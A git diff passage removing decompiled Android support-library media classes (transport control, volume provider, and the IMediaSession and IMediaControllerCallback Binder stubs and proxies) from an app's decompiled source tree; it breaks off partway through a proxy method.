{ - return; - } - this.mFocused = true; - this.mAudioManager.registerMediaButtonEventReceiver(this.mPendingIntent); - this.mAudioManager.registerRemoteControlClient(this.mRemoteControl); - if (this.mPlayState == 3) { - takeAudioFocus(); - } - } - - void takeAudioFocus() { - if (this.mAudioFocused) { - return; - } - this.mAudioFocused = true; - this.mAudioManager.requestAudioFocus(this.mAudioFocusChangeListener, 3, 1); - } - - public void startPlaying() { - if (this.mPlayState != 3) { - this.mPlayState = 3; - this.mRemoteControl.setPlaybackState(3); - } - if (this.mFocused) { - takeAudioFocus(); - } - } - - public void refreshState(boolean z, long j, int i) { - RemoteControlClient remoteControlClient = this.mRemoteControl; - if (remoteControlClient != null) { - remoteControlClient.setPlaybackState(z ? 3 : 1, j, z ? 1.0f : 0.0f); - this.mRemoteControl.setTransportControlFlags(i); - } - } - - public void pausePlaying() { - if (this.mPlayState == 3) { - this.mPlayState = 2; - this.mRemoteControl.setPlaybackState(2); - } - dropAudioFocus(); - } - - public void stopPlaying() { - if (this.mPlayState != 1) { - this.mPlayState = 1; - this.mRemoteControl.setPlaybackState(1); - } - dropAudioFocus(); - } - - void dropAudioFocus() { - if (this.mAudioFocused) { - this.mAudioFocused = false; - this.mAudioManager.abandonAudioFocus(this.mAudioFocusChangeListener); - } - } - - void loseFocus() { - dropAudioFocus(); - if (this.mFocused) { - this.mFocused = false; - this.mAudioManager.unregisterRemoteControlClient(this.mRemoteControl); - this.mAudioManager.unregisterMediaButtonEventReceiver(this.mPendingIntent); - } - } - - void windowDetached() { - loseFocus(); - if (this.mPendingIntent != null) { - this.mContext.unregisterReceiver(this.mMediaButtonReceiver); - this.mPendingIntent.cancel(); - this.mPendingIntent = null; - this.mRemoteControl = null; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportPerformer.java b/apk_3230/decompiled_source/sources/android/support/v4/media/TransportPerformer.java deleted file mode 100644 index e5db978..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportPerformer.java +++ /dev/null @@ -1,69 +0,0 @@ -package android.support.v4.media; - -import android.os.SystemClock; -import android.view.KeyEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class TransportPerformer { - static final int AUDIOFOCUS_GAIN = 1; - static final int AUDIOFOCUS_GAIN_TRANSIENT = 2; - static final int AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK = 3; - static final int AUDIOFOCUS_LOSS = -1; - static final int AUDIOFOCUS_LOSS_TRANSIENT = -2; - static final int AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK = -3; - - public int onGetBufferPercentage() { - return 100; - } - - public abstract long onGetCurrentPosition(); - - public abstract long onGetDuration(); - - public int onGetTransportControlFlags() { - return 60; - } - - public abstract boolean onIsPlaying(); - - public boolean onMediaButtonUp(int i, KeyEvent keyEvent) { - return true; - } - - public abstract void onPause(); - - public abstract void onSeekTo(long j); - - public abstract void onStart(); - - public abstract void onStop(); - - public boolean onMediaButtonDown(int i, KeyEvent keyEvent) { - if (i == 79 || i == 85) { - if (onIsPlaying()) { - onPause(); - } else { - onStart(); - } - } else if (i == 86) { - onStop(); - return true; - } else if (i == 126) { - onStart(); - return true; - } else if (i == 127) { - onPause(); - return true; - } - return true; - } - - public void onAudioFocusChange(int i) { - int i2 = i != -1 ? 0 : TransportMediator.KEYCODE_MEDIA_PAUSE; - if (i2 != 0) { - long uptimeMillis = SystemClock.uptimeMillis(); - int i3 = i2; - onMediaButtonDown(i2, new KeyEvent(uptimeMillis, uptimeMillis, 0, i3, 0)); - onMediaButtonUp(i2, new KeyEvent(uptimeMillis, uptimeMillis, 1, i3, 0)); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportStateListener.java b/apk_3230/decompiled_source/sources/android/support/v4/media/TransportStateListener.java deleted file mode 100644 index 2ec9463..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportStateListener.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.media; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class TransportStateListener { - public void onPlayingChanged(TransportController transportController) { - } - - public void onTransportControlsChanged(TransportController transportController) { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/VolumeProviderCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/VolumeProviderCompat.java deleted file mode 100644 index cdbf5f7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/VolumeProviderCompat.java +++ /dev/null @@ -1,86 +0,0 @@ -package android.support.v4.media; - -import android.support.v4.media.VolumeProviderCompatApi21; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class VolumeProviderCompat { - public static final int VOLUME_CONTROL_ABSOLUTE = 2; - public static final int VOLUME_CONTROL_FIXED = 0; - public static final int VOLUME_CONTROL_RELATIVE = 1; - private Callback mCallback; - private final int mControlType; - private int mCurrentVolume; - private final int mMaxVolume; - private Object mVolumeProviderObj; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Callback { - public abstract void onVolumeChanged(VolumeProviderCompat volumeProviderCompat); - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface ControlType { - } - - public void onAdjustVolume(int i) { - } - - public void onSetVolumeTo(int i) { - } - - public VolumeProviderCompat(int i, int i2, int i3) { - this.mControlType = i; - this.mMaxVolume = i2; - this.mCurrentVolume = i3; - } - - public final int getCurrentVolume() { - return this.mCurrentVolume; - } - - public final int getVolumeControl() { - return this.mControlType; - } - - public final int getMaxVolume() { - return this.mMaxVolume; - } - - public final void setCurrentVolume(int i) { - this.mCurrentVolume = i; - Object volumeProvider = getVolumeProvider(); - if (volumeProvider != null) { - VolumeProviderCompatApi21.setCurrentVolume(volumeProvider, i); - } - Callback callback = this.mCallback; - if (callback != null) { - callback.onVolumeChanged(this); - } - } - - public void setCallback(Callback callback) { - this.mCallback = callback; - } - - public Object getVolumeProvider() { - Object obj = this.mVolumeProviderObj; - if (obj == null) { - Object createVolumeProvider = VolumeProviderCompatApi21.createVolumeProvider(this.mControlType, this.mMaxVolume, this.mCurrentVolume, new VolumeProviderCompatApi21.Delegate() { // from class: android.support.v4.media.VolumeProviderCompat.1 - @Override // android.support.v4.media.VolumeProviderCompatApi21.Delegate - public void onSetVolumeTo(int i) { - VolumeProviderCompat.this.onSetVolumeTo(i); - } - - @Override // android.support.v4.media.VolumeProviderCompatApi21.Delegate - public void onAdjustVolume(int i) { - VolumeProviderCompat.this.onAdjustVolume(i); - } - }); - this.mVolumeProviderObj = createVolumeProvider; - return createVolumeProvider; - } - return obj; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/VolumeProviderCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/VolumeProviderCompatApi21.java deleted file mode 100644 index a2dc972..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/VolumeProviderCompatApi21.java +++ /dev/null @@ -1,34 +0,0 @@ -package android.support.v4.media; - -import android.media.VolumeProvider; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class VolumeProviderCompatApi21 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Delegate { - void onAdjustVolume(int i); - - void onSetVolumeTo(int i); - } - - VolumeProviderCompatApi21() { - } - - public static Object createVolumeProvider(int i, int i2, int i3, final Delegate delegate) { - return new VolumeProvider(i, i2, i3) { // from class: android.support.v4.media.VolumeProviderCompatApi21.1 - @Override // android.media.VolumeProvider - public void onSetVolumeTo(int i4) { - delegate.onSetVolumeTo(i4); - } - - @Override // android.media.VolumeProvider - public void onAdjustVolume(int i4) { - delegate.onAdjustVolume(i4); - } - }; - } - - public static void setCurrentVolume(Object obj, int i) { - ((VolumeProvider) obj).setCurrentVolume(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/IMediaControllerCallback.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/IMediaControllerCallback.java deleted file mode 100644 index 586ed1c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/IMediaControllerCallback.java +++ /dev/null @@ -1,251 +0,0 @@ -package android.support.v4.media.session; - -import android.os.Binder; -import android.os.Bundle; -import android.os.IBinder; -import android.os.IInterface; -import android.os.Parcel; -import android.os.RemoteException; -import android.support.v4.media.MediaMetadataCompat; -import android.support.v4.media.session.MediaSessionCompat; -import android.text.TextUtils; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface IMediaControllerCallback extends IInterface { - void onEvent(String str, Bundle bundle) throws RemoteException; - - void onExtrasChanged(Bundle bundle) throws RemoteException; - - void onMetadataChanged(MediaMetadataCompat mediaMetadataCompat) throws RemoteException; - - void onPlaybackStateChanged(PlaybackStateCompat playbackStateCompat) throws RemoteException; - - void onQueueChanged(List list) throws RemoteException; - - void onQueueTitleChanged(CharSequence charSequence) throws RemoteException; - - void onSessionDestroyed() throws RemoteException; - - void onVolumeInfoChanged(ParcelableVolumeInfo parcelableVolumeInfo) throws RemoteException; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Stub extends Binder implements IMediaControllerCallback { - private static final String DESCRIPTOR = "android.support.v4.media.session.IMediaControllerCallback"; - static final int TRANSACTION_onEvent = 1; - static final int TRANSACTION_onExtrasChanged = 7; - static final int TRANSACTION_onMetadataChanged = 4; - static final int TRANSACTION_onPlaybackStateChanged = 3; - static final int TRANSACTION_onQueueChanged = 5; - static final int TRANSACTION_onQueueTitleChanged = 6; - static final int TRANSACTION_onSessionDestroyed = 2; - static final int TRANSACTION_onVolumeInfoChanged = 8; - - @Override // android.os.IInterface - public IBinder asBinder() { - return this; - } - - public Stub() { - attachInterface(this, DESCRIPTOR); - } - - public static IMediaControllerCallback asInterface(IBinder iBinder) { - if (iBinder == null) { - return null; - } - IInterface queryLocalInterface = iBinder.queryLocalInterface(DESCRIPTOR); - if (queryLocalInterface != null && (queryLocalInterface instanceof IMediaControllerCallback)) { - return (IMediaControllerCallback) queryLocalInterface; - } - return new Proxy(iBinder); - } - - @Override // android.os.Binder - public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException { - if (i == 1598968902) { - parcel2.writeString(DESCRIPTOR); - return true; - } - switch (i) { - case 1: - parcel.enforceInterface(DESCRIPTOR); - onEvent(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - return true; - case 2: - parcel.enforceInterface(DESCRIPTOR); - onSessionDestroyed(); - return true; - case 3: - parcel.enforceInterface(DESCRIPTOR); - onPlaybackStateChanged(parcel.readInt() != 0 ? PlaybackStateCompat.CREATOR.createFromParcel(parcel) : null); - return true; - case 4: - parcel.enforceInterface(DESCRIPTOR); - onMetadataChanged(parcel.readInt() != 0 ? MediaMetadataCompat.CREATOR.createFromParcel(parcel) : null); - return true; - case 5: - parcel.enforceInterface(DESCRIPTOR); - onQueueChanged(parcel.createTypedArrayList(MediaSessionCompat.QueueItem.CREATOR)); - return true; - case 6: - parcel.enforceInterface(DESCRIPTOR); - onQueueTitleChanged(parcel.readInt() != 0 ? (CharSequence) TextUtils.CHAR_SEQUENCE_CREATOR.createFromParcel(parcel) : null); - return true; - case 7: - parcel.enforceInterface(DESCRIPTOR); - onExtrasChanged(parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - return true; - case 8: - parcel.enforceInterface(DESCRIPTOR); - onVolumeInfoChanged(parcel.readInt() != 0 ? ParcelableVolumeInfo.CREATOR.createFromParcel(parcel) : null); - return true; - default: - return super.onTransact(i, parcel, parcel2, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class Proxy implements IMediaControllerCallback { - private IBinder mRemote; - - Proxy(IBinder iBinder) { - this.mRemote = iBinder; - } - - @Override // android.os.IInterface - public IBinder asBinder() { - return this.mRemote; - } - - public String getInterfaceDescriptor() { - return Stub.DESCRIPTOR; - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onEvent(String str, Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(1, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onSessionDestroyed() throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - this.mRemote.transact(2, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onPlaybackStateChanged(PlaybackStateCompat playbackStateCompat) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (playbackStateCompat != null) { - obtain.writeInt(1); - playbackStateCompat.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(3, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onMetadataChanged(MediaMetadataCompat mediaMetadataCompat) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (mediaMetadataCompat != null) { - obtain.writeInt(1); - mediaMetadataCompat.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(4, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onQueueChanged(List list) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeTypedList(list); - this.mRemote.transact(5, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onQueueTitleChanged(CharSequence charSequence) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (charSequence != null) { - obtain.writeInt(1); - TextUtils.writeToParcel(charSequence, obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(6, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onExtrasChanged(Bundle bundle) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(7, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaControllerCallback - public void onVolumeInfoChanged(ParcelableVolumeInfo parcelableVolumeInfo) throws RemoteException { - Parcel obtain = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (parcelableVolumeInfo != null) { - obtain.writeInt(1); - parcelableVolumeInfo.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(8, obtain, null, 1); - } finally { - obtain.recycle(); - } - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/IMediaSession.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/IMediaSession.java deleted file mode 100644 index ed2098c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/IMediaSession.java +++ /dev/null @@ -1,1016 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.net.Uri; -import android.os.Binder; -import android.os.Bundle; -import android.os.IBinder; -import android.os.IInterface; -import android.os.Parcel; -import android.os.RemoteException; -import android.support.v4.media.MediaMetadataCompat; -import android.support.v4.media.RatingCompat; -import android.support.v4.media.session.IMediaControllerCallback; -import android.support.v4.media.session.MediaSessionCompat; -import android.text.TextUtils; -import android.view.KeyEvent; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface IMediaSession extends IInterface { - void adjustVolume(int i, int i2, String str) throws RemoteException; - - void fastForward() throws RemoteException; - - Bundle getExtras() throws RemoteException; - - long getFlags() throws RemoteException; - - PendingIntent getLaunchPendingIntent() throws RemoteException; - - MediaMetadataCompat getMetadata() throws RemoteException; - - String getPackageName() throws RemoteException; - - PlaybackStateCompat getPlaybackState() throws RemoteException; - - List getQueue() throws RemoteException; - - CharSequence getQueueTitle() throws RemoteException; - - int getRatingType() throws RemoteException; - - String getTag() throws RemoteException; - - ParcelableVolumeInfo getVolumeAttributes() throws RemoteException; - - boolean isTransportControlEnabled() throws RemoteException; - - void next() throws RemoteException; - - void pause() throws RemoteException; - - void play() throws RemoteException; - - void playFromMediaId(String str, Bundle bundle) throws RemoteException; - - void playFromSearch(String str, Bundle bundle) throws RemoteException; - - void playFromUri(Uri uri, Bundle bundle) throws RemoteException; - - void prepare() throws RemoteException; - - void prepareFromMediaId(String str, Bundle bundle) throws RemoteException; - - void prepareFromSearch(String str, Bundle bundle) throws RemoteException; - - void prepareFromUri(Uri uri, Bundle bundle) throws RemoteException; - - void previous() throws RemoteException; - - void rate(RatingCompat ratingCompat) throws RemoteException; - - void registerCallbackListener(IMediaControllerCallback iMediaControllerCallback) throws RemoteException; - - void rewind() throws RemoteException; - - void seekTo(long j) throws RemoteException; - - void sendCommand(String str, Bundle bundle, MediaSessionCompat.ResultReceiverWrapper resultReceiverWrapper) throws RemoteException; - - void sendCustomAction(String str, Bundle bundle) throws RemoteException; - - boolean sendMediaButton(KeyEvent keyEvent) throws RemoteException; - - void setVolumeTo(int i, int i2, String str) throws RemoteException; - - void skipToQueueItem(long j) throws RemoteException; - - void stop() throws RemoteException; - - void unregisterCallbackListener(IMediaControllerCallback iMediaControllerCallback) throws RemoteException; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Stub extends Binder implements IMediaSession { - private static final String DESCRIPTOR = "android.support.v4.media.session.IMediaSession"; - static final int TRANSACTION_adjustVolume = 11; - static final int TRANSACTION_fastForward = 22; - static final int TRANSACTION_getExtras = 31; - static final int TRANSACTION_getFlags = 9; - static final int TRANSACTION_getLaunchPendingIntent = 8; - static final int TRANSACTION_getMetadata = 27; - static final int TRANSACTION_getPackageName = 6; - static final int TRANSACTION_getPlaybackState = 28; - static final int TRANSACTION_getQueue = 29; - static final int TRANSACTION_getQueueTitle = 30; - static final int TRANSACTION_getRatingType = 32; - static final int TRANSACTION_getTag = 7; - static final int TRANSACTION_getVolumeAttributes = 10; - static final int TRANSACTION_isTransportControlEnabled = 5; - static final int TRANSACTION_next = 20; - static final int TRANSACTION_pause = 18; - static final int TRANSACTION_play = 13; - static final int TRANSACTION_playFromMediaId = 14; - static final int TRANSACTION_playFromSearch = 15; - static final int TRANSACTION_playFromUri = 16; - static final int TRANSACTION_prepare = 33; - static final int TRANSACTION_prepareFromMediaId = 34; - static final int TRANSACTION_prepareFromSearch = 35; - static final int TRANSACTION_prepareFromUri = 36; - static final int TRANSACTION_previous = 21; - static final int TRANSACTION_rate = 25; - static final int TRANSACTION_registerCallbackListener = 3; - static final int TRANSACTION_rewind = 23; - static final int TRANSACTION_seekTo = 24; - static final int TRANSACTION_sendCommand = 1; - static final int TRANSACTION_sendCustomAction = 26; - static final int TRANSACTION_sendMediaButton = 2; - static final int TRANSACTION_setVolumeTo = 12; - static final int TRANSACTION_skipToQueueItem = 17; - static final int TRANSACTION_stop = 19; - static final int TRANSACTION_unregisterCallbackListener = 4; - - @Override // android.os.IInterface - public IBinder asBinder() { - return this; - } - - public Stub() { - attachInterface(this, DESCRIPTOR); - } - - public static IMediaSession asInterface(IBinder iBinder) { - if (iBinder == null) { - return null; - } - IInterface queryLocalInterface = iBinder.queryLocalInterface(DESCRIPTOR); - if (queryLocalInterface != null && (queryLocalInterface instanceof IMediaSession)) { - return (IMediaSession) queryLocalInterface; - } - return new Proxy(iBinder); - } - - @Override // android.os.Binder - public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException { - if (i == 1598968902) { - parcel2.writeString(DESCRIPTOR); - return true; - } - switch (i) { - case 1: - parcel.enforceInterface(DESCRIPTOR); - sendCommand(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null, parcel.readInt() != 0 ? MediaSessionCompat.ResultReceiverWrapper.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 2: - parcel.enforceInterface(DESCRIPTOR); - boolean sendMediaButton = sendMediaButton(parcel.readInt() != 0 ? (KeyEvent) KeyEvent.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - parcel2.writeInt(sendMediaButton ? 1 : 0); - return true; - case 3: - parcel.enforceInterface(DESCRIPTOR); - registerCallbackListener(IMediaControllerCallback.Stub.asInterface(parcel.readStrongBinder())); - parcel2.writeNoException(); - return true; - case 4: - parcel.enforceInterface(DESCRIPTOR); - unregisterCallbackListener(IMediaControllerCallback.Stub.asInterface(parcel.readStrongBinder())); - parcel2.writeNoException(); - return true; - case 5: - parcel.enforceInterface(DESCRIPTOR); - boolean isTransportControlEnabled = isTransportControlEnabled(); - parcel2.writeNoException(); - parcel2.writeInt(isTransportControlEnabled ? 1 : 0); - return true; - case 6: - parcel.enforceInterface(DESCRIPTOR); - String packageName = getPackageName(); - parcel2.writeNoException(); - parcel2.writeString(packageName); - return true; - case 7: - parcel.enforceInterface(DESCRIPTOR); - String tag = getTag(); - parcel2.writeNoException(); - parcel2.writeString(tag); - return true; - case 8: - parcel.enforceInterface(DESCRIPTOR); - PendingIntent launchPendingIntent = getLaunchPendingIntent(); - parcel2.writeNoException(); - if (launchPendingIntent != null) { - parcel2.writeInt(1); - launchPendingIntent.writeToParcel(parcel2, 1); - } else { - parcel2.writeInt(0); - } - return true; - case 9: - parcel.enforceInterface(DESCRIPTOR); - long flags = getFlags(); - parcel2.writeNoException(); - parcel2.writeLong(flags); - return true; - case 10: - parcel.enforceInterface(DESCRIPTOR); - ParcelableVolumeInfo volumeAttributes = getVolumeAttributes(); - parcel2.writeNoException(); - if (volumeAttributes != null) { - parcel2.writeInt(1); - volumeAttributes.writeToParcel(parcel2, 1); - } else { - parcel2.writeInt(0); - } - return true; - case 11: - parcel.enforceInterface(DESCRIPTOR); - adjustVolume(parcel.readInt(), parcel.readInt(), parcel.readString()); - parcel2.writeNoException(); - return true; - case 12: - parcel.enforceInterface(DESCRIPTOR); - setVolumeTo(parcel.readInt(), parcel.readInt(), parcel.readString()); - parcel2.writeNoException(); - return true; - case 13: - parcel.enforceInterface(DESCRIPTOR); - play(); - parcel2.writeNoException(); - return true; - case 14: - parcel.enforceInterface(DESCRIPTOR); - playFromMediaId(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 15: - parcel.enforceInterface(DESCRIPTOR); - playFromSearch(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 16: - parcel.enforceInterface(DESCRIPTOR); - playFromUri(parcel.readInt() != 0 ? (Uri) Uri.CREATOR.createFromParcel(parcel) : null, parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 17: - parcel.enforceInterface(DESCRIPTOR); - skipToQueueItem(parcel.readLong()); - parcel2.writeNoException(); - return true; - case 18: - parcel.enforceInterface(DESCRIPTOR); - pause(); - parcel2.writeNoException(); - return true; - case 19: - parcel.enforceInterface(DESCRIPTOR); - stop(); - parcel2.writeNoException(); - return true; - case 20: - parcel.enforceInterface(DESCRIPTOR); - next(); - parcel2.writeNoException(); - return true; - case 21: - parcel.enforceInterface(DESCRIPTOR); - previous(); - parcel2.writeNoException(); - return true; - case 22: - parcel.enforceInterface(DESCRIPTOR); - fastForward(); - parcel2.writeNoException(); - return true; - case 23: - parcel.enforceInterface(DESCRIPTOR); - rewind(); - parcel2.writeNoException(); - return true; - case 24: - parcel.enforceInterface(DESCRIPTOR); - seekTo(parcel.readLong()); - parcel2.writeNoException(); - return true; - case 25: - parcel.enforceInterface(DESCRIPTOR); - rate(parcel.readInt() != 0 ? RatingCompat.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case TRANSACTION_sendCustomAction /* 26 */: - parcel.enforceInterface(DESCRIPTOR); - sendCustomAction(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 27: - parcel.enforceInterface(DESCRIPTOR); - MediaMetadataCompat metadata = getMetadata(); - parcel2.writeNoException(); - if (metadata != null) { - parcel2.writeInt(1); - metadata.writeToParcel(parcel2, 1); - } else { - parcel2.writeInt(0); - } - return true; - case 28: - parcel.enforceInterface(DESCRIPTOR); - PlaybackStateCompat playbackState = getPlaybackState(); - parcel2.writeNoException(); - if (playbackState != null) { - parcel2.writeInt(1); - playbackState.writeToParcel(parcel2, 1); - } else { - parcel2.writeInt(0); - } - return true; - case TRANSACTION_getQueue /* 29 */: - parcel.enforceInterface(DESCRIPTOR); - List queue = getQueue(); - parcel2.writeNoException(); - parcel2.writeTypedList(queue); - return true; - case TRANSACTION_getQueueTitle /* 30 */: - parcel.enforceInterface(DESCRIPTOR); - CharSequence queueTitle = getQueueTitle(); - parcel2.writeNoException(); - if (queueTitle != null) { - parcel2.writeInt(1); - TextUtils.writeToParcel(queueTitle, parcel2, 1); - } else { - parcel2.writeInt(0); - } - return true; - case TRANSACTION_getExtras /* 31 */: - parcel.enforceInterface(DESCRIPTOR); - Bundle extras = getExtras(); - parcel2.writeNoException(); - if (extras != null) { - parcel2.writeInt(1); - extras.writeToParcel(parcel2, 1); - } else { - parcel2.writeInt(0); - } - return true; - case 32: - parcel.enforceInterface(DESCRIPTOR); - int ratingType = getRatingType(); - parcel2.writeNoException(); - parcel2.writeInt(ratingType); - return true; - case 33: - parcel.enforceInterface(DESCRIPTOR); - prepare(); - parcel2.writeNoException(); - return true; - case 34: - parcel.enforceInterface(DESCRIPTOR); - prepareFromMediaId(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 35: - parcel.enforceInterface(DESCRIPTOR); - prepareFromSearch(parcel.readString(), parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - case 36: - parcel.enforceInterface(DESCRIPTOR); - prepareFromUri(parcel.readInt() != 0 ? (Uri) Uri.CREATOR.createFromParcel(parcel) : null, parcel.readInt() != 0 ? (Bundle) Bundle.CREATOR.createFromParcel(parcel) : null); - parcel2.writeNoException(); - return true; - default: - return super.onTransact(i, parcel, parcel2, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class Proxy implements IMediaSession { - private IBinder mRemote; - - Proxy(IBinder iBinder) { - this.mRemote = iBinder; - } - - @Override // android.os.IInterface - public IBinder asBinder() { - return this.mRemote; - } - - public String getInterfaceDescriptor() { - return Stub.DESCRIPTOR; - } - - @Override // android.support.v4.media.session.IMediaSession - public void sendCommand(String str, Bundle bundle, MediaSessionCompat.ResultReceiverWrapper resultReceiverWrapper) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeString(str); - if (bundle != null) { - obtain.writeInt(1); - bundle.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - if (resultReceiverWrapper != null) { - obtain.writeInt(1); - resultReceiverWrapper.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(1, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public boolean sendMediaButton(KeyEvent keyEvent) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - if (keyEvent != null) { - obtain.writeInt(1); - keyEvent.writeToParcel(obtain, 0); - } else { - obtain.writeInt(0); - } - this.mRemote.transact(2, obtain, obtain2, 0); - obtain2.readException(); - return obtain2.readInt() != 0; - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void registerCallbackListener(IMediaControllerCallback iMediaControllerCallback) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeStrongBinder(iMediaControllerCallback != null ? iMediaControllerCallback.asBinder() : null); - this.mRemote.transact(3, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public void unregisterCallbackListener(IMediaControllerCallback iMediaControllerCallback) throws RemoteException { - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - obtain.writeInterfaceToken(Stub.DESCRIPTOR); - obtain.writeStrongBinder(iMediaControllerCallback != null ? iMediaControllerCallback.asBinder() : null); - this.mRemote.transact(4, obtain, obtain2, 0); - obtain2.readException(); - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - - @Override // android.support.v4.media.session.IMediaSession - public boolean isTransportControlEnabled() throws RemoteException { - Parcel obtain = 